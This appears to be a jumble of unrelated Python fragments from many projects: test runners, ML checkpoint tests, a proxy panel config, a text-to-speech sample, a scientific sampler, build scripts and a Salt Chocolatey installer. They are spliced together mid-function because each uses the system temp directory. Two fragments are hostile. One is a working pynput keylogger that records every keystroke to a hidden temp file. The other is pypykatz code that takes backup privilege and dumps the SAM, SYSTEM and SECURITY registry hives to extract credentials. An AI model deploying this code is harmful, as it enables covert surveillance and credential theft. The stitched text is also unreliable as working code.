# Parse arguments and pass through unrecognised args
parser = argparse.ArgumentParser(add_help=False,
usage='%(prog)s [test_runner.py options] [script options] [scripts]',
description=__doc__,
epilog='''
Help text and arguments for individual test script:''',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--combinedlogslen', '-c', type=int, default=0, help='print a combined log (of length n lines) from all test nodes and test framework to the console on failure.')
parser.add_argument('--coverage', action='store_true', help='generate a basic coverage report for the RPC interface')
parser.add_argument('--exclude', '-x', help='specify a comma-separated-list of scripts to exclude.')
parser.add_argument('--extended', action='store_true', help='run the extended test suite in addition to the basic tests')
parser.add_argument('--force', '-f', action='store_true', help='run tests even on platforms where they are disabled by default (e.g. windows).')
parser.add_argument('--help', '-h', '-?', action='store_true', help='print help text and exit')
parser.add_argument('--jobs', '-j', type=int, default=4, help='how many test scripts to run in parallel. Default=4.')
parser.add_argument('--keepcache', '-k', action='store_true', help='the default behavior is to flush the cache directory on startup. --keepcache retains the cache from the previous testrun.')
parser.add_argument('--quiet', '-q', action='store_true', help='only print results summary and failure logs')
parser.add_argument('--tmpdirprefix', '-t', default=tempfile.gettempdir(), help="Root directory for datadirs")
args, unknown_args = parser.parse_known_args()
# args to be passed on always start with two dashes; tests are the remaining unknown args
tests = [arg for arg in unknown_args if arg[:2] != "--"]
passon_args = [arg for arg in unknown_args if arg[:2] == "--"]
# Read config generated by configure.
config = configparser.ConfigParser()
configfile = os.path.abspath(os.path.dirname(__file__)) + "/../config.ini"
config.read_file(open(configfile))
passon_args.append("--configfile=%s" % configfile)
# Set up logging
logging_level = logging.INFO if args.quiet else logging.DEBUG
logging.basicConfig(format='%(message)s', level=logging_level)
# Create base test directory
tmpdir = "%s/watercoin_test_runner_%s" % (args.tmpdirprefix, datetime.datetime.now().strftime("%Y%m%d_%H%M%S"))
os.makedirs(tmpdir)
logging.debug("Temporary test directory at %s" % tmpdir)
enable_wallet = config["components"].getboolean("ENABLE_WALLET")
enable_utils = config["components"].getboolean("ENABLE_UTILS")
enable_bitcoind = config["components"].getboolean("ENABLE_BITCOIND")
if config["environment"]["EXEEXT"] == ".exe" and not args.force:
# https://github.com/bitcoin/bitcoin/commit/d52802551752140cf41f0d9a225a43e84404d3e9
# https://github.com/bitcoin/bitcoin/pull/5677#issuecomment-136646964
print("Tests currently disabled on Windows by default. Use --force option to enable")
sys.exit(0)
if not (enable_wallet and enable_utils and enable_bitcoind):
print("No functional tests to run. Wallet, utils, and watercoind must all be enabled")
print("Rerun `configure` with -enable-wallet, -with-utils and -with-daemon and rerun make")
sys.exit(0)
# Build list of tests
if tests:
# Individual tests have been specified. Run specified tests that exist
# in the ALL_SCRIPTS list. Accept the name with or without .py extension.
tests = [re.sub("\.py$", "", t) + ".py" for t in tests]
test_list = []
for t in tests:
if t in ALL_SCRIPTS:
test_list.append(t)
else:
print("{}WARNING!{} Test '{}' not found in full test list.".format(BOLD[1], BOLD[0], t))
else:
# No individual tests have been specified.
# Run all base tests, and optionally run extended tests.
test_list = BASE_SCRIPTS
if args.extended:
# place the EXTENDED_SCRIPTS first since the three longest ones
# are there and the list is shorter
test_list = EXTENDED_SCRIPTS + test_list
# Remove the test cases that the user has explicitly asked to exclude.
if args.exclude:
tests_excl = [re.sub("\.py$", "", t) + ".py" for t in args.exclude.split(',')]
for exclude_test in tests_excl:
if exclude_test in test_list:
test_list.remove(exclude_test)
else:
print("{}WARNING!{} Test '{}' not found in current test list.".format(BOLD[1], BOLD[0], exclude_test))
if not test_list:
print("No valid test scripts specified. Check that your test is in one "
"of the test lists in test_runner.py, or run test_runner.py with no arguments to run all tests")
sys.exit(0)
if args.help:
# Print help for test_runner.py, then print help of the first script (with args removed) and exit.
parser.print_help()
subprocess.check_call([(config["environment"]["SRCDIR"] + '/test/functional/' + test_list[0].split()[0])] + ['-h'])
sys.exit(0)
check_script_list(config["environment"]["SRCDIR"])
check_script_prefixes()
if not args.keepcache:
shutil.rmtree("%s/test/cache" % config["environment"]["BUILDDIR"], ignore_errors=True)
run_tests(test_list, config["environment"]["SRCDIR"], config["environment"]["BUILDDIR"], config["environment"]["EXEEXT"], tmpdir, args.jobs, args.coverage, passon_args, args.combinedlogslen)
def test_checkpoint_loader():
import os
import tempfile
from mmcv.runner import CheckpointLoader, _load_checkpoint, save_checkpoint
checkpoint_path = os.path.join(tempfile.gettempdir(), 'checkpoint.pth')
model = Model()
save_checkpoint(model, checkpoint_path)
checkpoint = _load_checkpoint(checkpoint_path)
assert 'meta' in checkpoint and 'CLASSES' not in checkpoint['meta']
# remove the temp file
os.remove(checkpoint_path)
filenames = [
'http://xx.xx/xx.pth', 'https://xx.xx/xx.pth',
'modelzoo://xx.xx/xx.pth', 'torchvision://xx.xx/xx.pth',
'open-mmlab://xx.xx/xx.pth', 'openmmlab://xx.xx/xx.pth',
'mmcls://xx.xx/xx.pth', 'pavi://xx.xx/xx.pth', 's3://xx.xx/xx.pth',
'ss3://xx.xx/xx.pth', ' s3://xx.xx/xx.pth',
'open-mmlab:s3://xx.xx/xx.pth', 'openmmlab:s3://xx.xx/xx.pth',
'openmmlabs3://xx.xx/xx.pth', ':s3://xx.xx/xx.path'
]
fn_names = [
'load_from_http', 'load_from_http', 'load_from_torchvision',
'load_from_torchvision', 'load_from_openmmlab', 'load_from_openmmlab',
'load_from_mmcls', 'load_from_pavi', 'load_from_ceph',
'load_from_local', 'load_from_local', 'load_from_ceph',
'load_from_ceph', 'load_from_local', 'load_from_local'
]
for filename, fn_name in zip(filenames, fn_names):
loader = CheckpointLoader._get_checkpoint_loader(filename)
assert loader.__name__ == fn_name
@CheckpointLoader.register_scheme(prefixes='ftp://')
def load_from_ftp(filename, map_location):
return dict(filename=filename)
# test register_loader
filename = 'ftp://xx.xx/xx.pth'
loader = CheckpointLoader._get_checkpoint_loader(filename)
assert loader.__name__ == 'load_from_ftp'
def load_from_ftp1(filename, map_location):
return dict(filename=filename)
# test duplicate registered error
with pytest.raises(KeyError):
CheckpointLoader.register_scheme('ftp://', load_from_ftp1)
# test force param
CheckpointLoader.register_scheme('ftp://', load_from_ftp1, force=True)
checkpoint = CheckpointLoader.load_checkpoint(filename)
assert checkpoint['filename'] == filename
# test print function name
loader = CheckpointLoader._get_checkpoint_loader(filename)
assert loader.__name__ == 'load_from_ftp1'
# test sort
@CheckpointLoader.register_scheme(prefixes='a/b')
def load_from_ab(filename, map_location):
return dict(filename=filename)
@CheckpointLoader.register_scheme(prefixes='a/b/c')
def load_from_abc(filename, map_location):
return dict(filename=filename)
filename = 'a/b/c/d'
loader = CheckpointLoader._get_checkpoint_loader(filename)
assert loader.__name__ == 'load_from_abc'
def test_load_checkpoint_metadata():
import os
import tempfile
from mmcv.runner import load_checkpoint, save_checkpoint
class ModelV1(nn.Module):
def __init__(self):
super().__init__()
self.block = Block()
self.conv1 = nn.Conv2d(3, 3, 1)
self.conv2 = nn.Conv2d(3, 3, 1)
nn.init.normal_(self.conv1.weight)
nn.init.normal_(self.conv2.weight)
class ModelV2(nn.Module):
_version = 2
def __init__(self):
super().__init__()
self.block = Block()
self.conv0 = nn.Conv2d(3, 3, 1)
self.conv1 = nn.Conv2d(3, 3, 1)
nn.init.normal_(self.conv0.weight)
nn.init.normal_(self.conv1.weight)
def _load_from_state_dict(self, state_dict, prefix, local_metadata,
*args, **kwargs):
"""load checkpoints."""
# Names of some parameters in has been changed.
version = local_metadata.get('version', None)
if version is None or version < 2:
state_dict_keys = list(state_dict.keys())
convert_map = {'conv1': 'conv0', 'conv2': 'conv1'}
for k in state_dict_keys:
for ori_str, new_str in convert_map.items():
if k.startswith(prefix + ori_str):
new_key = k.replace(ori_str, new_str)
state_dict[new_key] = state_dict[k]
del state_dict[k]
super()._load_from_state_dict(state_dict, prefix, local_metadata,
*args, **kwargs)
model_v1 = ModelV1()
model_v1_conv0_weight = model_v1.conv1.weight.detach()
model_v1_conv1_weight = model_v1.conv2.weight.detach()
model_v2 = ModelV2()
model_v2_conv0_weight = model_v2.conv0.weight.detach()
model_v2_conv1_weight = model_v2.conv1.weight.detach()
ckpt_v1_path = os.path.join(tempfile.gettempdir(), 'checkpoint_v1.pth')
ckpt_v2_path = os.path.join(tempfile.gettempdir(), 'checkpoint_v2.pth')
# Save checkpoint
save_checkpoint(model_v1, ckpt_v1_path)
save_checkpoint(model_v2, ckpt_v2_path)
# test load v1 model
load_checkpoint(model_v2, ckpt_v1_path)
assert torch.allclose(model_v2.conv0.weight, model_v1_conv0_weight)
assert torch.allclose(model_v2.conv1.weight, model_v1_conv1_weight)
# test load v2 model
load_checkpoint(model_v2, ckpt_v2_path)
assert torch.allclose(model_v2.conv0.weight, model_v2_conv0_weight)
assert torch.allclose(model_v2.conv1.weight, model_v2_conv1_weight)
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# $Id$
from os import environ
from tempfile import gettempdir
environ['PYTHON_EGG_CACHE'] = gettempdir()
import sys
from jon import cgi
from exceptions import OGCException, ServerConfigurationError
from wms111 import ExceptionHandler as ExceptionHandler111
from wms130 import ExceptionHandler as ExceptionHandler130
from ConfigParser import SafeConfigParser
from common import Version
class Handler(cgi.DebugHandler):
def __init__(self):
conf = SafeConfigParser()
conf.readfp(open(self.configpath))
self.conf = conf
# from tempfile import gettempdir # Your Shadowsocks Path # SS_EXEC - The full command starting ssserver, without "-d start". # SS_CONF - The Shadowsocks config file which SSLand will manage. SS_EXEC = ["sudo", "ssserver", "-c", "/etc/ss.conf"] SS_CONF = "/etc/ss.conf" # User Configuration # USER_ADMIN - Administrator user ID. Ususally the first user, whose id is 1. # USER_SALT - Account password hashing salt. Make it complex :) USER_ADMIN = 1 USER_SALT = "~amADmANiNabLUEbOX!" # The formular to generate User Shadowsocks Port user_port = lambda id: 6580 + int(id * 1.5) # Minimal interval for Shadowsocks restarting UPDATE_INTERVAL = 30.0 # Directories USER_ROOT = "user" WEB_ROOT = "www" TMP_ROOT = gettempdir() # WebServer Config WEB_HOST = "0.0.0.0" WEB_PORT = 8080
from urllib.parse import urlparse
BASE_URL = os.getenv('NHENTAI', 'https://nhentai.net')
__api_suspended_DETAIL_URL = '%s/api/gallery' % BASE_URL
DETAIL_URL = '%s/g' % BASE_URL
SEARCH_URL = '%s/api/galleries/search' % BASE_URL
TAG_API_URL = '%s/api/galleries/tagged' % BASE_URL
LOGIN_URL = '%s/login/' % BASE_URL
CHALLENGE_URL = '%s/challenge' % BASE_URL
FAV_URL = '%s/favorites/' % BASE_URL
u = urlparse(BASE_URL)
IMAGE_URL = '%s://i.%s/galleries' % (u.scheme, u.hostname)
NHENTAI_HOME = os.path.join(os.getenv('HOME', tempfile.gettempdir()), '.nhentai')
NHENTAI_HISTORY = os.path.join(NHENTAI_HOME, 'history.sqlite3')
NHENTAI_CONFIG_FILE = os.path.join(NHENTAI_HOME, 'config.json')
CONFIG = {
'proxy': {'http': '', 'https': ''},
'cookie': '',
'language': '',
'template': '',
}
" El partido entre dos equipos argentinos que los argentinos no pudieron organizar, y para el que solo encontraron la solución de que no se jugara en su territorio, aterrizó este jueves por la tarde en Madrid, cuando el presidente del Gobierno, Pedro Sánchez, anunció a través de su cuenta de Twitter, mientras volaba a Buenos Aires a la cumbre del G20: “España está dispuesta a organizar la final de la Copa Libertadores entre Boca y River”. Apenas una hora después, Alejandro Domínguez, presidente de la Conmebol, organizadora del torneo, oficializó que el encuentro se disputará el próximo domingo 9 de diciembre en el Santiago Bernabéu a las 20.30.",
OutputFormat="mp3",
VoiceId="Conchita")
except (BotoCoreError, ClientError) as error:
# The service returned an error, exit gracefully
print(error)
sys.exit(-1)
# Access the audio stream from the response
if "AudioStream" in response:
# Note: Closing the stream is important as the service throttles on the
# number of parallel connections. Here we are using contextlib.closing to
# ensure the close method of the stream object will be called automatically
# at the end of the with statement's scope.
with closing(response["AudioStream"]) as stream:
output = os.path.join(gettempdir(), "speech.mp3")
try:
# Open a file for writing the output as a binary stream
with open(output, "wb") as file:
file.write(stream.read())
except IOError as error:
# Could not write to file, exit gracefully
print(error)
sys.exit(-1)
else:
# The response didn't contain audio data, exit gracefully
print("Could not stream audio")
sys.exit(-1)
def _parse_out_path(value):
if not value:
import tempfile
return tempfile.gettempdir()
validator.is_directory(out_path=value)
return os.path.abspath(str(value))
import tempfile
import logging
from pynput.keyboard import Key, Listener
print("Temp dir loc --> ", tempfile.gettempdir())
log_loc = tempfile.gettempdir()
log_file = "\key_logger.txt"
logging.basicConfig(filename=(log_loc + log_file),
level=logging.DEBUG,
format="%(asctime)s: %(message)s")
def key_presses(key):
logging.info(str(key))
with Listener(on_press=key_presses) as listener:
listener.join()
def initialize(self):
"""Imports the PolyChord sampler and prepares its arguments."""
if am_single_or_primary_process(): # rank = 0 (MPI master) or None (no MPI)
self.log.info("Initializing")
# If path not given, try using general path to modules
if not self.path and self.path_install:
self.path = get_path(self.path_install)
if self.path:
if am_single_or_primary_process():
self.log.info("Importing *local* PolyChord from " + self.path)
if not os.path.exists(os.path.realpath(self.path)):
self.log.error("The given path does not exist.")
raise HandledException
pc_build_path = get_build_path(self.path)
if not pc_build_path:
self.log.error("Either PolyChord is not in the given folder, "
"'%s', or you have not compiled it.", self.path)
raise HandledException
# Inserting the previously found path into the list of import folders
sys.path.insert(0, pc_build_path)
else:
self.log.info("Importing *global* PolyChord.")
try:
import pypolychord
from pypolychord.settings import PolyChordSettings
self.pc = pypolychord
except ImportError:
self.log.error(
"Couldn't find the PolyChord python interface. "
"Make sure that you have compiled it, and that you either\n"
" (a) specify a path (you didn't) or\n"
" (b) install the Python interface globally with\n"
" '/path/to/PolyChord/python setup.py install --user'")
raise HandledException
# Prepare arguments and settings
self.nDims = self.model.prior.d()
self.nDerived = (len(self.model.parameterization.derived_params()) +
len(self.model.prior) + len(self.model.likelihood._likelihoods))
if self.logzero is None:
self.logzero = np.nan_to_num(-np.inf)
if self.max_ndead == np.inf:
self.max_ndead = -1
for p in ["nlive", "num_repeats", "nprior", "max_ndead"]:
setattr(self, p, read_dnumber(getattr(self, p), self.nDims, dtype=int))
# Fill the automatic ones
if getattr(self, "feedback", None) is None:
values = {logging.CRITICAL: 0, logging.ERROR: 0, logging.WARNING: 0,
logging.INFO: 1, logging.DEBUG: 2}
self.feedback = values[self.log.getEffectiveLevel()]
try:
output_folder = getattr(self.output, "folder")
output_prefix = getattr(self.output, "prefix") or ""
self.read_resume = self.resuming
except AttributeError:
# dummy output -- no resume!
self.read_resume = False
from tempfile import gettempdir
output_folder = gettempdir()
if am_single_or_primary_process():
from random import random
output_prefix = hex(int(random() * 16 ** 6))[2:]
else:
output_prefix = None
if more_than_one_process():
output_prefix = get_mpi_comm().bcast(output_prefix, root=0)
self.base_dir = os.path.join(output_folder, self.base_dir)
self.file_root = output_prefix
if am_single_or_primary_process():
# Creating output folder, if it does not exist (just one process)
if not os.path.exists(self.base_dir):
os.makedirs(self.base_dir)
# Idem, a clusters folder if needed -- notice that PolyChord's default
# is "True", here "None", hence the funny condition below
if self.do_clustering is not False: # None here means "default"
try:
os.makedirs(os.path.join(self.base_dir, clusters))
except OSError: # exists!
pass
self.log.info("Storing raw PolyChord output in '%s'.",
self.base_dir)
# Exploiting the speed hierarchy
speeds, blocks = self.model.likelihood._speeds_of_params(int_speeds=True)
blocks_flat = list(chain(*blocks))
self.ordering = [
blocks_flat.index(p) for p in self.model.parameterization.sampled_params()]
self.grade_dims = [len(block) for block in blocks]
# self.grade_frac = np.array(
# [i*j for i,j in zip(self.grade_dims, speeds)])
# self.grade_frac = (
# self.grade_frac/sum(self.grade_frac))
# Disabled for now. We need a way to override the "time" part of the meaning of grade_frac
self.grade_frac = [1 / len(self.grade_dims) for _ in self.grade_dims]
# Assign settings
pc_args = ["nlive", "num_repeats", "nprior", "do_clustering",
"precision_criterion", "max_ndead", "boost_posterior", "feedback",
"logzero", "posteriors", "equals", "compression_factor",
"cluster_posteriors", "write_resume", "read_resume", "write_stats",
"write_live", "write_dead", "base_dir", "grade_frac", "grade_dims",
"feedback", "read_resume", "base_dir", "file_root", "grade_frac",
"grade_dims"]
self.pc_settings = PolyChordSettings(
self.nDims, self.nDerived, seed=(self.seed if self.seed is not None else -1),
**{p: getattr(self, p) for p in pc_args if getattr(self, p) is not None})
# prior conversion from the hypercube
bounds = self.model.prior.bounds(
confidence_for_unbounded=self.confidence_for_unbounded)
# Check if priors are bounded (nan's to inf)
inf = np.where(np.isinf(bounds))
if len(inf[0]):
params_names = self.model.parameterization.sampled_params()
params = [params_names[i] for i in sorted(list(set(inf[0])))]
self.log.error("PolyChord needs bounded priors, but the parameter(s) '"
"', '".join(params) + "' is(are) unbounded.")
raise HandledException
locs = bounds[:, 0]
scales = bounds[:, 1] - bounds[:, 0]
# This function re-scales the parameters AND puts them in the right order
self.pc_prior = lambda x: (locs + np.array(x)[self.ordering] * scales).tolist()
# We will need the volume of the prior domain, since PolyChord divides by it
self.logvolume = np.log(np.prod(scales))
# Prepare callback function
if self.callback_function is not None:
self.callback_function_callable = (
get_external_function(self.callback_function))
self.last_point_callback = 0
# Prepare runtime live and dead points collections
self.live = Collection(
self.model, None, name="live", initial_size=self.pc_settings.nlive)
self.dead = Collection(self.model, self.output, name="dead")
self.n_sampled = len(self.model.parameterization.sampled_params())
self.n_derived = len(self.model.parameterization.derived_params())
self.n_priors = len(self.model.prior)
self.n_likes = len(self.model.likelihood._likelihoods)
# Done!
if am_single_or_primary_process():
self.log.info("Calling PolyChord with arguments:")
for p, v in inspect.getmembers(self.pc_settings, lambda a: not (callable(a))):
if not p.startswith("_"):
self.log.info(" %s: %s", p, v)
def Main():
builder = os.environ.get('BUILDBOT_BUILDERNAME')
build_number = os.environ.get('BUILDBOT_BUILDNUMBER')
build_revision = os.environ.get('BUILDBOT_GOT_REVISION',
os.environ.get('BUILDBOT_REVISION'))
slave_type = os.environ.get('BUILDBOT_SLAVE_TYPE')
cmd = BOT_ASSIGNMENT.get(builder)
if not cmd:
sys.stderr.write('ERROR - unset/invalid builder name\n')
sys.exit(1)
env = os.environ.copy()
# Don't write out .pyc files because in cases in which files move around or
# the PYTHONPATH / sys.path change, old .pyc files can be mistakenly used.
# This avoids the need for admin changes on the bots in this case.
env['PYTHONDONTWRITEBYTECODE'] = '1'
env['GSUTIL'] = pynacl.file_tools.Which('gsutil.py',
require_executable=False)
# When running from cygwin, we sometimes want to use a native python.
# The native python will use the depot_tools version by invoking python.bat.
if pynacl.platform.IsWindows():
env['NATIVE_PYTHON'] = 'python.bat'
else:
env['NATIVE_PYTHON'] = 'python'
if sys.platform == 'win32':
# If the temp directory is not on the same drive as the working directory,
# there can be random failures when cleaning up temp directories, so use
# a directory on the current drive. Use __file__ here instead of os.getcwd()
# because toolchain_main picks its working directories relative to __file__
filedrive, _ = os.path.splitdrive(__file__)
tempdrive, _ = os.path.splitdrive(env['TEMP'])
if tempdrive != filedrive:
env['TEMP'] = filedrive + '\\temp'
if not os.path.exists(env['TEMP']):
os.mkdir(env['TEMP'])
# Ensure a temp directory exists.
if 'TEMP' not in env:
env['TEMP'] = tempfile.gettempdir()
# Isolate build's temp directory to a particular location so we can clobber
# the whole thing predictably and so we have a record of who's leaking
# temporary files.
nacl_tmp = os.path.join(env['TEMP'], 'nacl_tmp')
if not os.path.exists(nacl_tmp):
os.mkdir(nacl_tmp)
env['TEMP'] = os.path.join(nacl_tmp, builder)
if not os.path.exists(env['TEMP']):
os.mkdir(env['TEMP'])
# Set all temp directory variants to the same thing.
env['TMPDIR'] = env['TEMP']
env['TMP'] = env['TEMP']
print('TEMP=%s' % env['TEMP'])
sys.stdout.flush()
print("%s runs: %s\n" % (builder, cmd))
sys.stdout.flush()
retcode = subprocess.call(cmd, env=env, shell=True)
sys.exit(retcode)
def get_tmp_dir(self, opt_tmp_dir):
if not opt_tmp_dir:
return tempfile.gettempdir()
return opt_tmp_dir
#!/usr/bin/env python
def run_iptestall(inc_slow=False):
"""Run the entire IPython test suite by calling nose and trial.
This function constructs :class:`IPTester` instances for all IPython
modules and package and then runs each of them. This causes the modules
and packages of IPython to be tested each in their own subprocess using
nose.
Parameters
----------
inc_slow : bool, optional
Include slow tests, like IPython.parallel. By default, these tests aren't
run.
"""
runners = make_runners(inc_slow=inc_slow)
# Run the test runners in a temporary dir so we can nuke it when finished
# to clean up any junk files left over by accident. This also makes it
# robust against being run in non-writeable directories by mistake, as the
# temp dir will always be user-writeable.
curdir = os.getcwdu()
testdir = tempfile.gettempdir()
os.chdir(testdir)
# Run all test runners, tracking execution time
failed = []
t_start = time.time()
try:
for (name, runner) in runners:
print('*'*70)
print('IPython test group:',name)
res = runner.run()
if res:
failed.append( (name, runner) )
if res == -signal.SIGINT:
print("Interrupted")
break
finally:
os.chdir(curdir)
t_end = time.time()
t_tests = t_end - t_start
nrunners = len(runners)
nfail = len(failed)
# summarize results
print()
print('*'*70)
print('Test suite completed for system with the following information:')
print(report())
print('Ran %s test groups in %.3fs' % (nrunners, t_tests))
print()
print('Status:')
if not failed:
print('OK')
else:
# If anything went wrong, point out what command to rerun manually to
# see the actual errors and individual summary
print('ERROR - %s out of %s test groups failed.' % (nfail, nrunners))
for name, failed_runner in failed:
print('-'*40)
print('Runner failed:',name)
print('You may wish to rerun this one individually, with:')
failed_call_args = [py3compat.cast_unicode(x) for x in failed_runner.call_args]
print(u' '.join(failed_call_args))
print()
# Ensure that our exit code indicates failure
sys.exit(1)
from pathlib import Path
from os.path import join
from tempfile import gettempdir
# pylint: disable=import-error
import tensorflow as tf
from tensorflow.contrib import predictor
# pylint: enable=import-error
from ..model import model_fn, InputProviderFactory
from ..model.provider import get_default_model_provider
# Default exporting directory for predictor.
DEFAULT_EXPORT_DIRECTORY = join(gettempdir(), 'serving')
def get_default_model_dir(model_dir):
"""
Transforms a string like 'spleeter:2stems' into an actual path.
:param model_dir:
:return:
"""
model_provider = get_default_model_provider()
return model_provider.get(model_dir)
def create_estimator(params, MWF):
"""
Initialize tensorflow estimator that will perform separation
def from_live_system():
logger.debug('Obtaining registry from local system')
try:
from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
from pypykatz.commons.winapi.constants import SE_BACKUP
import winreg
import tempfile
import os
import ntpath
except Exception as e:
logger.error('Could not import necessary packages! Are you on Windows? Error: %s' % str(e))
raise
sam_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
system_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
security_name = ntpath.join(tempfile.gettempdir(), os.urandom(4).hex())
locations = [
('SAM', sam_name),
('SYSTEM', system_name),
('SECURITY', security_name),
]
logger.debug('Obtaining SE_BACKUP privilege...')
try:
po = ProcessManipulator()
po.set_privilege(SE_BACKUP)
except Exception as e:
logger.error('Failed to obtain SE_BACKUP privilege! Registry dump will not work! Reason: %s' % str(e))
raise e
logger.debug('Obtaining SE_BACKUP OK!')
dumped_names = {}
for reg_name, location in locations:
logger.debug('Dumping %s...' % reg_name)
try:
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_name, access=0x00020000)
winreg.SaveKey(key, location)
key.Close()
except Exception as e:
logger.error('Dumping %s FAILED!! Reason: %s' % (reg_name, str(e)))
else:
logger.debug('Dumping %s OK!' % reg_name)
dumped_names[reg_name] = location
###
### Do Parsing here!
###
po = None
if 'SYSTEM' in dumped_names:
try:
po = OffineRegistry.from_files(system_name, sam_name if 'SAM' in dumped_names else None, security_name if 'SECURITY' in dumped_names else None)
except Exception as e:
import traceback
traceback.print_exc()
else:
logger.error('Failed to dump SYSTEM hive, exiting...')
logger.debug('Cleaning up temp files')
for reg_name, location in locations:
try:
os.remove(location)
except Exception as e:
logger.error('Failed to clean up temp file for %s! Sensitive files might have been left on the filesystem! Path: %s Reason: %s' % (reg_name, location, str(e)))
else:
logger.debug('Cleanup for %s OK!' % reg_name)
return po
def __init__(self):
rate_lock_path = tempfile.gettempdir(
) + "/m_rate.%s.lock" % HTTP_SOURCE_ADDR
# Ensure the rate lock file exists (...the easy way)
open(rate_lock_path, "a").close()
self._rate_lock = open(rate_lock_path, "r+")
def log_lockfile():
tempdir = tempfile.gettempdir()
uid = os.getuid()
path = os.path.join(tempdir, ".ansible-lock.%s" % uid)
return path
def bootstrap(force=False, source=None):
"""
Download and install the latest version of the Chocolatey package manager
via the official bootstrap.
Chocolatey requires Windows PowerShell and the .NET v4.0 runtime. Depending
on the host's version of Windows, chocolatey.bootstrap will attempt to
ensure these prerequisites are met by downloading and executing the
appropriate installers from Microsoft.
.. note::
If PowerShell is installed, you may have to restart the host machine for
Chocolatey to work.
.. note::
If you're installing offline using the source parameter, the PowerShell
and .NET requirements must already be met on the target. This shouldn't
be a problem on Windows versions 2012/8 and later
Args:
force (bool):
Run the bootstrap process even if Chocolatey is found in the path.
source (str):
The location of the ``.nupkg`` file or ``.ps1`` file to run from an
alternate location. This can be one of the following types of URLs:
- salt://
- http(s)://
- ftp://
- file:// - A local file on the system
.. versionadded:: 3001
Returns:
str: The stdout of the Chocolatey installation script
CLI Example:
.. code-block:: bash
# To bootstrap Chocolatey
salt '*' chocolatey.bootstrap
salt '*' chocolatey.bootstrap force=True
# To bootstrap Chocolatey offline from a file on the salt master
salt '*' chocolatey.bootstrap source=salt://files/chocolatey.nupkg
# To bootstrap Chocolatey from a file on C:\\Temp
salt '*' chocolatey.bootstrap source=C:\\Temp\\chocolatey.nupkg
"""
# Check if Chocolatey is already present in the path
try:
choc_path = _find_chocolatey()
except CommandExecutionError:
choc_path = None
if choc_path and not force:
return "Chocolatey found at {0}".format(choc_path)
temp_dir = tempfile.gettempdir()
# Make sure PowerShell is on the System if we're passing source
# Vista and Windows Server 2008 do not have Powershell installed
powershell_info = __salt__["cmd.shell_info"](shell="powershell")
if not powershell_info["installed"]:
# The following lookup tables are required to determine the correct
# download required to install PowerShell. That's right, there's more
# than one! You're welcome.
ps_downloads = {
(
"Vista",
"x86",
): "http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu",
(
"Vista",
"AMD64",
): "http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu",
(
"2008Server",
"x86",
): "http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu",
(
"2008Server",
"AMD64",
): "http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu",
}
# PowerShell needs to be installed on older systems (Vista, 2008Server)
if (__grains__["osrelease"], __grains__["cpuarch"]) in ps_downloads:
# Install the appropriate release of PowerShell v2.0
url = ps_downloads[(__grains__["osrelease"], __grains__["cpuarch"])]
dest = os.path.join(temp_dir, os.path.basename(url))
# Download the KB
try:
log.debug("Downloading PowerShell...")
__salt__["cp.get_url"](path=url, dest=dest)
except MinionError:
err = "Failed to download PowerShell KB for {0}" "".format(
__grains__["osrelease"]
)
if source:
raise CommandExecutionError(
"{0}: PowerShell is required to bootstrap Chocolatey "
"with Source".format(err)
)
raise CommandExecutionError(err)
# Install the KB
cmd = [dest, "/quiet", "/norestart"]
log.debug("Installing PowerShell...")
result = __salt__["cmd.run_all"](cmd, python_shell=False)
if result["retcode"] != 0:
err = (
"Failed to install PowerShell KB. For more information "
"run the installer manually on the host"
)
raise CommandExecutionError(err)
else:
err = "Windows PowerShell Installation not available"
raise CommandNotFoundError(err)
# Check that .NET v4.0+ is installed
# Windows 7 / Windows Server 2008 R2 and below do not come with at least
# .NET v4.0 installed
if not __utils__["dotnet.version_at_least"](version="4"):
# It took until .NET v4.0 for Microsoft got the hang of making
# installers, this should work under any version of Windows
url = "http://download.microsoft.com/download/1/B/E/1BE39E79-7E39-46A3-96FF-047F95396215/dotNetFx40_Full_setup.exe"
dest = os.path.join(temp_dir, os.path.basename(url))
# Download the .NET Framework 4 web installer
try:
log.debug("Downloading .NET v4.0...")
__salt__["cp.get_url"](path=url, dest=dest)
except MinionError:
err = "Failed to download .NET v4.0 Web Installer"
if source:
err = (
"{0}: .NET v4.0+ is required to bootstrap "
"Chocolatey with Source".format(err)
)
raise CommandExecutionError(err)
# Run the .NET Framework 4 web installer
cmd = [dest, "/q", "/norestart"]
log.debug("Installing .NET v4.0...")
result = __salt__["cmd.run_all"](cmd, python_shell=False)
if result["retcode"] != 0:
err = (
"Failed to install .NET v4.0 failed. For more information "
"run the installer manually on the host"
)
raise CommandExecutionError(err)
# Define target / destination
if source:
url = source
else:
url = "https://chocolatey.org/install.ps1"
dest = os.path.join(temp_dir, os.path.basename(url))
# Download Chocolatey installer
try:
log.debug("Downloading Chocolatey: {0}".format(os.path.basename(url)))
script = __salt__["cp.get_url"](path=url, dest=dest)
log.debug("Script: {0}".format(script))
except MinionError:
err = "Failed to download Chocolatey Installer"
if source:
err = "{0} from source"
raise CommandExecutionError(err)
# If this is a nupkg download we need to unzip it first
if os.path.splitext(os.path.basename(dest))[1] == ".nupkg":
log.debug("Unzipping Chocolatey: {0}".format(dest))
__salt__["archive.unzip"](
zip_file=dest,
dest=os.path.join(os.path.dirname(dest), "chocolatey"),
extract_perms=False,
)
script = os.path.join(
os.path.dirname(dest), "chocolatey", "tools", "chocolateyInstall.ps1"
)
if not os.path.exists(script):
raise CommandExecutionError(
"Failed to find Chocolatey installation " "script: {0}".format(script)
)
